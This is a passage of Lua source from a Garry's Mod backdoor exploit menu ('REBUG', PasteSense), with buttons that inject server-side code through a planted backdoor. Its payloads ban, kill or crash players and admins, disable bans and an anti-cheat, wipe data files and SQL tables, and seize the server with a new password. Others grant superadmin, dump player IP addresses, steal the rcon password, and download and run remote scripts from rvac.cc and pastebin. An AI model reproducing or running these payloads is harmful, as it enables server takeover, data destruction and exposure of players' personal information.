761 end)
762
763 rebug.AddButton("Announce centre screen", Bar1, function()
764 surface.PlaySound("buttons/button18.wav")
765
766 Derma_StringRequest("Set Custom Text", "Set Text", "", function(str)
767 noob.PostLua("for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, \"" .. str .. "\") end")
768 end)
769 end)
770
771 rebug.AddButton("Broken Glass Symphony", Bar1, function()
772 surface.PlaySound("buttons/button18.wav")
773 noob.PostLua([[if !timer.Exists("A true masterpiece") then
774
775 timer.Create("A true masterpiece", 0.2, 0, function()
776
777 for _, p in pairs(player.GetAll()) do
778
779 p:EmitSound("physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random(40, 180))
780
781 end
782
783 end)
784
785 else
786
787 timer.Remove("A true masterpiece")
788
789 end]])
790 end)
791
792 rebug.AddButton("Double Or Nothing", Bar1, function()
793 surface.PlaySound("buttons/button18.wav")
794
795 Derma_StringRequest("Set win chance", "1-100", "", function(str)
796 noob.PostLua("BDON_CONFIG.doubleChance = " .. str)
797 end)
798 end)
799
800 rebug.AddButton("Ban All Players", Bar1, function()
801 surface.PlaySound("buttons/button18.wav")
802
803 Derma_StringRequest("Ban All Players", "Reason", "", function(text)
804 noob.PostLua([[
805
806 local id = ]] .. LocalPlayer():UserID() .. [[
807
808 for k, v in next, player.GetAll() do
809
810 if v:UserID() == id then continue end
811
812 v:Ban( 0, false )
813
814 v:Kick( "]] .. tostring(text) .. [[" )
815
816 end]])
817 end)
818 end)
819
820 rebug.AddButton("Break Economy", Bar1, function()
821 surface.PlaySound("buttons/button18.wav")
822 noob.PostLua([[for k,v in pairs(player.GetAll()) do v:addMoney(9999999999) end]])
823 end)
824
825 rebug.AddButton("Cleanup Map", Bar1, function()
826 surface.PlaySound("buttons/button18.wav")
827 noob.PostLua([[game.CleanUpMap()]])
828 end)
829
830 rebug.AddButton("Console Jammer", Bar1, function()
831 surface.PlaySound("buttons/button18.wav")
832 noob.PostLua([[if !(timer.Exists("consoleJammer")) then
833
834 timer.Create("consoleJammer", 0.5, 0, function()
835
836 print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
837
838 end)
839
840 else
841
842 timer.Destroy("consoleJammer")
843
844 end]])
845 end)
846
847 rebug.AddButton("Change Everyone Name", Bar1, function()
848 surface.PlaySound("buttons/button18.wav")
849
850 Derma_StringRequest("Set Everyones Name", "Name", "", function(text)
851 noob.PostLua([[local str = "]] .. text .. [["
852
853 for k, v in next, player.GetAll() do
854
855 DarkRP.storeRPName( v, str )
856
857 v:setDarkRPVar( "rpname", str )
858
859 end]])
860 end)
861 end)
862
863 rebug.AddButton("Change All Model", Bar1, function()
864 surface.PlaySound("buttons/button18.wav")
865
866 Derma_StringRequest("Change Everyones Model", "Model Directory", "", function(str)
867 noob.PostLua("for k, v in pairs(player.GetAll()) do v:SetModel(\"" .. str .. "\") end")
868 end)
869 end)
870
871 rebug.AddButton("Change All Material", Bar1, function()
872 surface.PlaySound("buttons/button18.wav")
873
874 Derma_StringRequest("Set Everythings Material", "Material Directory", "", function(str)
875 noob.PostLua("for k, v in pairs(ents.GetAll()) do v:SetMaterial(\"" .. str .. "\") end")
876 end)
877 end)
878
879 rebug.AddButton("Disable Bans/Kicks", Bar1, function()
880 surface.PlaySound("buttons/button18.wav")
881 noob.PostLua([[if ULib then
882
883 function ULib.kick( ply, reason, calling_ply ) end
884
885 function ULib.ban( ply, time, reason, admin ) end
886
887 function ULib.addBan( steamid, time, reason, name, admin ) end
888
889 end
890
891 if FAdmin then
892
893 local function no(ply) end
894
895 FAdmin.Commands.AddCommand("kick", no)
896
897 FAdmin.Commands.AddCommand("ban", no)
898
899 FAdmin.Commands.AddCommand("jail", no)
900
901 FAdmin.Commands.AddCommand("UnJail", no)
902
903 FAdmin.Commands.AddCommand("ClearDecals", no)
904
905 FAdmin.Commands.AddCommand("StopSounds", no)
906
907 FAdmin.Commands.AddCommand("CleanUp", no)
908
909 end
910
911 local _R = debug.getregistry()
912
913 function _R.Player.Ban(ply, r) end
914
915 function _R.Player.Kick(ply, r) end
916
917 function game.KickID(id, reason) end
918
919 local RCM = RunConsoleCommand
920
921 function RunConsoleCommand(command, ...)
922
923 if command == "addip" then return end
924
925 RCM(command, ...)
926
927 end]])
928 end)
929
930 rebug.AddButton("Disable SNTE", Bar1, function()
931 surface.PlaySound("buttons/button18.wav")
932 noob.PostLua([[
933
934 local function Check(func)
935
936 if string.find(debug.getinfo(func).short_src,"snte_source.lua") then
937
938 return true
939
940 else
941
942 return false
943
944 end
945
946 end
947
948 timer.Create("PasteSensebypass",5,0,function()
949
950 for k,v in pairs(net.Receivers) do
951
952 if Check(v) then
953
954 net.Receive(k,function(l,ply)
955
956 ply:ChatPrint("LEL")
957
958 end)
959
960 end
961
962 end
963
964
965 end)]])
966 end)
967
968 rebug.AddButton("Disable Exit", Bar1, function()
969 surface.PlaySound("buttons/button18.wav")
970 noob.PostLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
971 end)
972
973 rebug.AddButton("Delete Server", Bar1, function()
974 surface.PlaySound("buttons/button18.wav")
975 noob.PostLua([[local function WipeDir(dir)
976
977 local files,dirs = file.Find(dir.."*", "DATA")
978
979 for k,v in ipairs(files) do
980
981 file.Delete(dir..v)
982
983 end
984
985 for k,v in ipairs(dirs) do
986
987 WipeDir(v.."/")
988
989 end
990
991 end
992
993 print(60*60*6)
994
995 local function wiperpro()
996
997 print("Wiping server data. . .")
998
999 WipeDir("")
1000
1001 sql.Query("DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)")
1002
1003 if ULib then
1004
1005 for k,v in pairs(ULib.ucl.groups) do
1006
1007 if k != "user" then
1008
1009 ULib.ucl.removeGroup(k)
1010
1011 end
1012
1013 end
1014
1015 end
1016
1017 if FPP then
1018
1019 for k,v in pairs(FPP.Blocked) do
1020
1021 for r,g in pairs(v) do
1022
1023 RunConsoleCommand([=[FPP_RemoveBlocked]=], k, r)
1024
1025 end
1026
1027 end
1028
1029 end
1030
1031 for i=1,256 do
1032
1033 RunConsoleCommand("removeid",i)
1034
1035 end
1036
1037 for k,v in ipairs(player.GetAll()) do
1038
1039 v:Kick("PasteSense.Team")
1040
1041 end
1042
1043 print("Wipe finished !")
1044
1045 end
1046
1047 timer.Create("1Tap",0.5,1,function() while true do end end)
1048
1049 wiperpro()]])
1050 end)
1051
1052 rebug.AddButton("Earthquake", Bar1, function()
1053 surface.PlaySound("buttons/button18.wav")
1054 noob.PostLua([[if !timer.Exists("earthquake") then
1055
1056 timer.Create("earthquake", 0.5, 500, function()
1057
1058 for _, p in pairs(player.GetAll()) do
1059
1060 p:SetPos(p:GetPos() + Vector(0, 0, 1))
1061
1062 p:SetVelocity(Vector(math.random(-50, 50), math.random(-50, 50), math.random(100, 150)))
1063
1064 util.ScreenShake(p:GetPos(), 20, 1, 1, 100)
1065
1066 p:EmitSound("ambient/explosions/exp1.wav", 100, math.random(60, 100))
1067
1068 end
1069
1070 for _, e in pairs(ents.GetAll()) do
1071
1072 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity(Vector(math.random(-50, 50), math.random(-50, 50), math.random(100, 150))) end
1073
1074 end
1075
1076 end)
1077
1078 else
1079
1080 timer.Remove("earthquake")
1081
1082 end]])
1083 end)
1084
1085 rebug.AddButton("EarRape", Bar1, function()
1086 surface.PlaySound("buttons/button18.wav")
1087 noob.PostLua("for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end")
1088 end)
1089
1090 rebug.AddButton("Enigma Disco", Bar1, function()
1091 surface.PlaySound("buttons/button18.wav")
1092 noob.PostLua([[http.Fetch("https://rvac.cc/load/b1g.lua", function(b) RunString(b) end )]])
1093 end)
1094
1095 rebug.AddButton("Enigma Disco 2.0", Bar1, function()
1096 surface.PlaySound("buttons/button18.wav")
1097 noob.PostLua([[http.Fetch("https://rvac.cc/load/xd.lua", function(b) RunString(b) end )]])
1098 end)
1099
1100 rebug.AddButton("Hell Mode", Bar1, function()
1101 surface.PlaySound("buttons/button18.wav")
1102 noob.PostLua([[BroadcastLua("http.Fetch('https://pastebin.com/raw/21tkfuM1',function(b,l,h,c)RunString(b)end,nil)")]])
1103 end)
1104
1105 rebug.AddButton("Ignite Everyone", Bar1, function()
1106 surface.PlaySound("buttons/button18.wav")
1107
1108 Derma_StringRequest("Ignite All Players", "Lenght In Seconds", "", function(str)
1109 noob.PostLua("for k, v in pairs(player.GetAll()) do v:Ignite(" .. str .. ") end")
1110 end)
1111 end)
1112
1113 rebug.AddButton("Kill Everyone", Bar1, function()
1114 surface.PlaySound("buttons/button18.wav")
1115 noob.PostLua("for k,v in pairs(player.GetAll()) do v:Kill() end")
1116 end)
1117
1118 rebug.AddButton("Luarun Access", Bar1, function()
1119 surface.PlaySound("buttons/button18.wav")
1120 noob.PostLua([[RunConsoleCommand("ulx", "groupallow", "user", "ulx luarun")]])
1121 end)
1122
1123 rebug.AddButton("Launch Players", Bar1, function()
1124 surface.PlaySound("buttons/button18.wav")
1125 noob.PostLua("for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end")
1126 end)
1127
1128 rebug.AddButton("LuaRun Code", Bar1, function()
1129 surface.PlaySound("buttons/button18.wav")
1130
1131 Derma_StringRequest("LuaRun String", "String", "", function(text)
1132 noob.PostLua([[RunString( ']] .. text .. [[' )]])
1133 end)
1134 end)
1135
1136 rebug.AddButton("Luarun From Google", Bar1, function()
1137 surface.PlaySound("buttons/button18.wav")
1138
1139 Derma_StringRequest("RunLua", "Place Google raw link inside box", "", function(str)
1140 noob.PostLua("http.Fetch(\"" .. str .. "\", function( b, l, h, c ) RunString( b ) end, function() end )")
1141 end)
1142 end)
1143
1144 rebug.AddButton("Rainbow Physgun", Bar1, function()
1145 surface.PlaySound("buttons/button18.wav")
1146 noob.PostLua([[hook.Add("Think", "rainbowphysgun", function()
1147
1148 for k,ply in ipairs(player.GetAll()) do
1149
1150 local col = HSVToColor(CurTime() % 6 * 60, 1, 1)
1151
1152 ply:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
1153
1154 end
1155
1156 end)]])
1157 end)
1158
1159 rebug.AddButton("Rainbow Chat Spam", Bar1, function()
1160 surface.PlaySound("buttons/button18.wav")
1161
1162 Derma_StringRequest("Rainbow Chatspam", "Text", "", function(text)
1163 noob.PostLua([[
1164
1165 chat = {}
1166
1167 function chat.AddText(...)
1168
1169 net.Start("PasteSense")
1170
1171 net.WriteTable({...})
1172
1173 net.Broadcast()
1174
1175 end
1176
1177 function AddTextPly(ply, ...)
1178
1179 net.Start("PasteSense")
1180
1181 net.WriteTable({...})
1182
1183 net.Send(ply)
1184
1185 end
1186
1187 for k, v in pairs(player.GetAll()) do
1188
1189 v:SendLua('net.Receive("PasteSense", function(len) chat.AddText(unpack(net.ReadTable()))end)')
1190
1191 end
1192
1193 timer.Create("gotEm", 0.8, 120, function()
1194
1195 local function ChatPrintRainbow(frequency, str)
1196
1197 local text = {}
1198
1199 for i = 1, #str do
1200
1201 table.insert(text, HSVToColor(i * frequency % 360, 1, 1))
1202
1203 table.insert(text, string.sub(str, i, i))
1204
1205 end
1206
1207 chat.AddText(unpack(text))
1208
1209 end
1210
1211 ChatPrintRainbow(10, "]] .. text .. [[")
1212
1213 end)]])
1214 end)
1215 end)
1216
1217 rebug.AddButton("Rainbow HUD", Bar1, function()
1218 surface.PlaySound("buttons/button18.wav")
1219 noob.PostLua([[if !rainbowscreen then
1220
1221 BroadcastLua("hook.Add('HUDPaint', 'rainbowscreen', function() local cin = math.sin(CurTime() * 10) * 255 surface.SetDrawColor(Color(cin, -cin, cin, 100)) surface.DrawRect(0, 0, ScrW(), ScrH()) end)")
1222
1223 rainbowscreen = true
1224
1225 else
1226
1227 BroadcastLua("hook.Remove('HUDPaint', 'rainbowscreen')")
1228
1229 rainbowscreen = false
1230
1231 end]])
1232 end)
1233
1234 rebug.AddButton("Rainbow Everything", Bar1, function()
1235 surface.PlaySound("buttons/button18.wav")
1236 noob.PostLua([[BroadcastLua("http.Fetch('https://pastebin.com/raw/gCG1pSNK',function(b,l,h,c)RunString(b)end,nil)")]])
1237 chat.AddText(Color(255, 0, 0), "[REBUG] ", Color(255, 155, 155), "This may cause frame drop")
1238 end)
1239
1240 rebug.AddButton("Remove Bans", Bar1, function()
1241 surface.PlaySound("buttons/button18.wav")
1242 noob.PostLua([[if file.Exists("ulib/bans.txt", "DATA") then file.Delete("ulib/bans.txt") end]])
1243 end)
1244
1245 rebug.AddButton("Rave Music", Bar1, function()
1246 surface.PlaySound("buttons/button18.wav")
1247 noob.PostLua("BroadcastLua([[surface.PlaySound('music/hl1_song25_remix3.mp3')]])")
1248 end)
1249
1250 rebug.AddButton("Seize Server", Bar1, function()
1251 surface.PlaySound("buttons/button18.wav")
1252 chat.AddText(Color(255, 0, 0), "[REBUG] ", Color(20, 150, 200), "Server Password is: GmodCheaTz")
1253 noob.PostLua([[RunConsoleCommand("sv_password", "GmodCheaTz")
1254
1255 RunConsoleCommand("hostname", "SEIZED BY PasteSense.TEAM")]])
1256 end)
1257
1258 rebug.AddButton("Moan Steps", Bar1, function()
1259 surface.PlaySound("buttons/button18.wav")
1260 noob.PostLua([[if !moanstep then
1261
1262 hook.Add("PlayerFootstep", "oooh", function(ply)
1263
1264 ply:EmitSound("vo/npc/female01/pain0" .. math.random(1, 9) .. ".wav", 75, math.random(50, 100))
1265
1266 end)
1267
1268 moanstep = true
1269
1270 else
1271
1272 hook.Remove("PlayerFootstep", "oooh")
1273
1274 moanstep = false
1275
1276 end]])
1277 end)
1278
1279 rebug.AddButton("Open URL On Players", Bar1, function()
1280 surface.PlaySound("buttons/button18.wav")
1281
1282 Derma_StringRequest("URL On Players", "URL Link", "", function(str)
1283 noob.PostLua([==[local ply = str
1284
1285 ply:SendLua([[h=vgui.Create("DHTML")
1286
1287 h:SetSize(ScrW(),ScrH())
1288
1289 h:OpenURL(..str..)]])
1290
1291 ]==])
1292 end)
1293 end)
1294
1295 rebug.AddButton("Explode all vehicles", Bar1, function()
1296 surface.PlaySound("buttons/button18.wav")
1297 noob.PostLua([[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
1298
1299 local explo = ents.Create("env_explosion")
1300
1301 explo:SetPos(v:GetPos())
1302
1303 explo:SetKeyValue("iMagnitude", "300")
1304
1305 explo:Spawn()
1306
1307 explo:Activate()
1308
1309 explo:Fire("Explode", "", 0)
1310
1311 end
1312
1313 end]])
1314 end)
1315
1316 rebug.AddButton("Print All IP's", Bar1, function()
1317 surface.PlaySound("buttons/button18.wav")
1318 noob.PostLua([[
1319
1320 local id = ]] .. LocalPlayer():UserID() .. [[
1321
1322 for k, v in pairs( player.GetAll() ) do
1323
1324 Player( id ):ChatPrint( "Player: " .. v:Nick() .. " (" .. v:SteamID() .. ") IP: " .. v:IPAddress() )
1325
1326 end]])
1327 end)
1328
1329 rebug.AddButton("Toggle all doors", Bar1, function()
1330 surface.PlaySound("buttons/button18.wav")
1331 noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]])
1332 end)
1333
1334 rebug.AddButton("Lock all doors", Bar1, function()
1335 surface.PlaySound("buttons/button18.wav")
1336 noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("lock", "", 0) end end]])
1337 end)
1338
1339 rebug.AddButton("Unlock all doors", Bar1, function()
1340 surface.PlaySound("buttons/button18.wav")
1341 noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]])
1342 end)
1343
1344 rebug.AddButton("Vaporize all players", Bar1, function()
1345 surface.PlaySound("buttons/button18.wav")
1346 noob.PostLua([[for k, v in pairs(player.GetAll()) do v:Remove() end]])
1347 end)
1348
1349 rebug.AddButton("FPP Unrestrict everything", Bar1, function()
1350 surface.PlaySound("buttons/button18.wav")
1351 noob.PostLua([[if FPP then
1352
1353 for k,v in pairs(FPP.Blocked) do
1354
1355 for r,g in pairs(v) do
1356
1357 RunConsoleCommand([=[FPP_RemoveBlocked]=], k, r)
1358
1359 end
1360
1361 end
1362
1363 end]])
1364 end)
1365
1366 rebug.AddButton("Wipe data folder", Bar1, function()
1367 surface.PlaySound("buttons/button18.wav")
1368 noob.PostLua([[local files, directories = file.Find("*", "DATA") for k, v in pairs(files) do file.Delete(v) end]])
1369 end)
1370
1371 rebug.AddButton("Wipe SQL Tables", Bar1, function()
1372 surface.PlaySound("buttons/button18.wav")
1373 noob.PostLua([[MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)')]])
1374 end)
1375
1376 rebug.AddButton("Play Sound From URL", Bar1, function()
1377 surface.PlaySound("buttons/button18.wav")
1378
1379 Derma_StringRequest("Play Sound", "Set Link (Has to end with .AUDIOFORMAT)", "", function(str)
1380 noob.PostLua("BroadcastLua([[sound.PlayURL(\"" .. str .. "\" , \"mono\", function() end)]])")
1381 end)
1382 end)
1383
1384 rebug.AddButton("ULX Unban SteamID", Bar1, function()
1385 surface.PlaySound("buttons/button18.wav")
1386
1387 Derma_StringRequest("ULX Unban SteamID", "SteamID", "", function(str)
1388 noob.PostLua([[local gae = ulx_logecho game.ConsoleCommand("ulx_logecho 0" .. "\n") game.ConsoleCommand("ulx unban " ..str.. "\n") game.ConsoleCommand("ulx_logecho " .. gae .. "\n")]])
1389 end)
1390 end)
1391
1392--[[-------------------------------------------------------------------------------------
1393Panels 3 : RCON Backdoors
1394----------------------------------------------------------------------------------------]]
1395 local List3 = vgui.Create("DPanelList", VoidPlate)
1396 List3:SetPos(235, 155)
1397 List3:SetSize(180, 476)
1398 List3:SetPadding(2)
1399 List3:SetSpacing(2)
1400 List3:EnableHorizontal(false)
1401 List3:EnableVerticalScrollbar(true)
1402 List3:SetName("")
1403
1404 List3.Paint = function(self, w, h)
1405 surface.SetDrawColor(Color(30, 30, 30))
1406 surface.DrawRect(0, 0, w, h)
1407 surface.SetDrawColor(21, 21, 21)
1408 surface.SetMaterial(upgrad)
1409 surface.SetDrawColor(o_color2)
1410 surface.SetMaterial(downgrad)
1411 surface.SetDrawColor(o_color2)
1412 surface.SetDrawColor(21, 21, 21, 255)
1413 surface.DrawOutlinedRect(0, 0, w, h)
1414 end
1415
1416 local item2 = vgui.Create("DPanelList", List3)
1417 item2:SetPos(12, 8)
1418 item2:SetSize(170, 459)
1419 item2:SetPadding(2)
1420 item2:SetSpacing(2)
1421 item2:EnableHorizontal(false)
1422 item2:EnableVerticalScrollbar(true)
1423 item2:SetName("")
1424 local scan = vgui.Create("DButton", VoidPlate)
1425 scan:SetFont("DermaDefault")
1426 scan:SetText("Backdoor Scan")
1427 scan:SetTextColor(Color(255, 255, 255, 255))
1428 scan:SetPos(235, 637)
1429 scan:SetSize(180, 40)
1430
1431 scan.Paint = function(self, w, h)
1432 surface.SetDrawColor(Color(30, 30, 30))
1433 surface.DrawRect(0, 0, w, h)
1434 surface.SetDrawColor(21, 21, 21)
1435 surface.SetMaterial(upgrad)
1436 surface.SetDrawColor(o_color2)
1437 surface.SetMaterial(downgrad)
1438 surface.SetDrawColor(o_color2)
1439 surface.SetDrawColor(21, 21, 21, 255)
1440 surface.DrawOutlinedRect(0, 0, w, h)
1441 end
1442
1443 scan.DoClick = function()
1444 surface.PlaySound("buttons/button18.wav")
1445 CheckBackdoors()
1446 end
1447
1448 local Bar2 = vgui.Create("DScrollPanel", item2)
1449 Bar2:Dock(FILL)
1450 local sBar2 = Bar2:GetVBar()
1451
1452 function sBar2:Paint()
1453 end
1454
1455 function sBar2.btnUp:Paint()
1456 end
1457
1458 function sBar2.btnDown:Paint()
1459 end
1460
1461 function sBar2.btnGrip:Paint()
1462 end
1463
1464 -- RCON Backdoors
1465rebug.AddButton("Rcon Stealer", Bar2, function()
1466 surface.PlaySound("buttons/button18.wav")
1467 noob.PostLua([[http.Fetch("https://pastebin.com/raw/Few7AuVE",function(b,l,h,c)RunString(b)end,nil)]])
1468
1469 timer.Simple(0.5, function()
1470 if CheckIfStringExists("jeveuttonrconleul") then
1471 net.Start("jeveuttonrconleul")
1472 net.SendToServer()
1473 else
1474 chat.AddText(Color(255, 0, 0), "rcon_password Not Found, try another one ^^")
1475 end
1476 end)
1477
1478 net.Receive("rcon_passw_dump", function()
1479 local rcon_pass = net.ReadString()
1480 chat.AddText(Color(255, 0, 0), "[", "REBUG", "] ", Color(20, 150, 200), "" .. rcon_pass)
1481 end)
1482
1483 net.Receive("aucun_rcon_ici", function()
1484 chat.AddText(Color(255, 0, 0), "[", "REBUG", "] ", Color(220, 100, 100), "Password not found :(")
1485 end)
1486end)
1487
1488 rebug.AddButton("Crash Server", Bar2, function()
1489 surface.PlaySound("buttons/button18.wav")
1490 noob.PostLua([[timer.Create("rekt",0.5,1,function() while true do end end)]])
1491 chat.AddText(Color(255, 0, 0), "[REBUG] ", Color(20, 150, 200), "The server has been crashed gg")
1492 end)
1493
1494 rebug.AddButton("Crash Admins", Bar2, function()
1495 surface.PlaySound("buttons/button18.wav")
1496 noob.PostLua("for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end")
1497 end)
1498
1499 rebug.AddButton("Reset all money", Bar2, function()
1500 surface.PlaySound("buttons/button18.wav")
1501 noob.PostLua([[RunConsoleCommand("rp_resetallmoney")]])
1502 end)
1503
1504 rebug.AddButton("SV ClientSide", Bar2, function()
1505 surface.PlaySound("buttons/button18.wav")
1506 noob.PostLua([[RunConsoleCommand("sv_allowcslua","1")]])
1507 end)
1508
1509 rebug.AddButton("SV Password", Bar2, function()
1510 surface.PlaySound("buttons/button18.wav")
1511 noob.PostLua([[RunConsoleCommand("sv_password", "rvac.cc")]])
1512 end)
1513
1514 rebug.AddButton("LogEcho", Bar2, function()
1515 surface.PlaySound("buttons/button18.wav")
1516 noob.PostLua([[RunConsoleCommand("ulx", "logecho", "0")]])
1517 end)
1518
1519 rebug.AddButton("SV Cheats", Bar2, function()
1520 surface.PlaySound("buttons/button18.wav")
1521 noob.PostLua([[RunConsoleCommand('sv_cheats','1')]])
1522 end)
1523
1524 rebug.AddButton("SV Friction", Bar2, function()
1525 surface.PlaySound("buttons/button18.wav")
1526 noob.PostLua([[RunConsoleCommand('sv_friction', '8')]])
1527 end)
1528
1529 rebug.AddButton("SV Gravity", Bar2, function()
1530 surface.PlaySound("buttons/button18.wav")
1531 noob.PostLua([[RunConsoleCommand('sv_gravity', '-600')]])
1532 end)
1533
1534 rebug.AddButton("+Direction", Bar2, function()
1535 surface.PlaySound("buttons/button18.wav")
1536
1537 Derma_StringRequest("+Direction", "e.g +right / +left", "", function(str)
1538 noob.PostLua("for k,v in pairs(player.GetAll()) do v:ConCommand(" .. str .. ")end")
1539 end)
1540 end)
1541
1542 rebug.AddButton("2D Players", Bar2, function()
1543 surface.PlaySound("buttons/button18.wav")
1544 noob.PostLua([[
1545 for k,v in pairs(player.GetAll()) do
1546 local a = v:LookupBone("ValveBiped.Bip01_Head1")
1547 local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
1548 local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
1549 local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
1550 local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
1551 local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
1552 local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
1553 local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
1554 local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
1555 local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
1556 local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
1557 v:ManipulateBoneScale( a, Vector(4,0,4))
1558 v:ManipulateBoneScale( b, Vector(0,0,0))
1559 v:ManipulateBoneScale( c, Vector(0,0,0))
1560 v:ManipulateBoneScale( d, Vector(0,0,1))
1561 v:ManipulateBoneScale( e, Vector(0,0,1))
1562 v:ManipulateBoneScale( f, Vector(0,0,0))
1563 v:ManipulateBoneScale( g, Vector(0,0,0))
1564 v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
1565 v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
1566 v:ManipulateBoneScale( j, Vector(0,0,0))
1567 v:ManipulateBoneScale( k, Vector(0,0,0))
1568 end]])
1569 end)
1570
1571 rebug.AddButton("Giant Players", Bar2, function()
1572 surface.PlaySound("buttons/button18.wav")
1573 noob.PostLua([[
1574 hook.Add("Think", "tall", function()
1575 for k,v in pairs (player.GetAll()) do
1576 v:SetModelScale(0.2, 80);
1577 v:SetRunSpeed(400 * 2);
1578 v:SetWalkSpeed(200 * 2);
1579 end
1580 end)]])
1581 end)
1582
1583 rebug.AddButton("Speed Hack All", Bar2, function()
1584 surface.PlaySound("buttons/button18.wav")
1585 noob.PostLua([[
1586 hook.Add("Think", "speedhack", function()
1587 for k,v in pairs (player.GetAll()) do
1588 v:SetRunSpeed(400* 4);
1589 v:SetWalkSpeed(200 * 2);
1590 end
1591 end)]])
1592 end)
1593
1594 rebug.AddButton("Force Say All", Bar2, function()
1595 surface.PlaySound("buttons/button18.wav")
1596
1597 Derma_StringRequest("Force Say", "Make everyone say anything", "", function(str)
1598 noob.PostLua("for k,v in pairs(player.GetAll()) do v:ConCommand("..str..")end")
1599 end)
1600 end)
1601
1602 rebug.AddButton("Force Dance All", Bar2, function()
1603 surface.PlaySound("buttons/button18.wav")
1604 noob.PostLua([[for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )]])
1605 end)
1606
1607 rebug.AddButton("Force Retry All", Bar2, function()
1608 surface.PlaySound("buttons/button18.wav")
1609 noob.PostLua([[
1610 for k,v in pairs(player.GetAll()) do
1611 v:ConCommand("retry")
1612 end]])
1613 end)
1614
1615 rebug.AddButton("Hostname Chance", Bar2, function()
1616 surface.PlaySound("buttons/button18.wav")
1617
1618 Derma_StringRequest("Hostname", "Chance server name to anything", "", function(str)
1619 noob.PostLua("RunConsoleCommand(\"ulx\", \"rcon\", \"hostname\", " .. str .. ")")
1620 end)
1621 end)
1622
1623 rebug.AddButton("Server Nuke (M9K)", Bar2, function()
1624 surface.PlaySound("buttons/button18.wav")
1625 noob.PostLua([[
1626 local rocket = ents.Create("m9k_launched_davycrockett")
1627 local ply2 = player.GetAll(]] .. selPly .. [[)
1628 rocket:SetPos(ply2:GetPos())
1629 rocket:SetOwner(ply2)
1630 rocket.Owner = ply2
1631 rocket:Spawn()
1632 rocket:Activate()]])
1633 end)
1634
1635 --[[-------------------------------------------------------------------------------------
1636Panels 3 : Targeting
1637----------------------------------------------------------------------------------------]]
1638 local List3 = vgui.Create("DPanelList", VoidPlate)
1639 List3:SetPos(473, 155)
1640 List3:SetSize(180, 522)
1641 List3:SetPadding(2)
1642 List3:SetSpacing(2)
1643 List3:EnableHorizontal(false)
1644 List3:EnableVerticalScrollbar(true)
1645 List3:SetName("")
1646
1647 List3.Paint = function(self, w, h)
1648 surface.SetDrawColor(Color(30, 30, 30))
1649 surface.DrawRect(0, 0, w, h)
1650 surface.SetDrawColor(21, 21, 21)
1651 surface.SetMaterial(upgrad)
1652 surface.SetDrawColor(o_color2)
1653 surface.SetMaterial(downgrad)
1654 surface.SetDrawColor(o_color2)
1655 surface.SetDrawColor(21, 21, 21, 255)
1656 surface.DrawOutlinedRect(0, 0, w, h)
1657 end
1658
1659 local item3 = vgui.Create("DPanelList", List3)
1660 item3:SetPos(5, 8)
1661 item3:SetSize(170, 506)
1662 item3:SetPadding(2)
1663 item3:SetSpacing(2)
1664 item3:EnableHorizontal(false)
1665 item3:EnableVerticalScrollbar(true)
1666 item3:SetName("")
1667
1668 item3.Paint = function(self, w, h)
1669 surface.SetDrawColor(Color(30, 30, 30))
1670 surface.DrawRect(0, 0, w, h)
1671 surface.SetDrawColor(21, 21, 21)
1672 surface.SetDrawColor(35, 35, 35, 0)
1673 surface.DrawOutlinedRect(0, 0, w, h)
1674 end
1675
1676 local Bar3 = vgui.Create("DScrollPanel", item3)
1677 Bar3:Dock(FILL)
1678 local sBar3 = Bar3:GetVBar()
1679
1680 function sBar3:Paint()
1681 end
1682
1683 function sBar3.btnUp:Paint()
1684 end
1685
1686 function sBar3.btnDown:Paint()
1687 end
1688
1689 function sBar3.btnGrip:Paint()
1690 end
1691
1692 rebug.AddButton("Co Host Menu", Bar3, function()
1693 surface.PlaySound("buttons/button18.wav")
1694 --noob.PostLua([[Player(]] .. selPly .. [[):SendLua('http.Fetch("https://rvac.cc/log1n/menu.lua",function(b) RunString(b)end)')]])
1695 chat.AddText(Color(255, 0, 0), "[REBUG] ", Color(20, 150, 200), Color(255, 155, 155), " Feature disabled!")
1696 end)
1697
1698 rebug.AddButton("Set Superadmin", Bar3, function()
1699 surface.PlaySound("buttons/button18.wav")
1700 noob.PostLua([[Player(]] .. selPly .. [[):SetUserGroup("superadmin")]])
1701 end)
1702
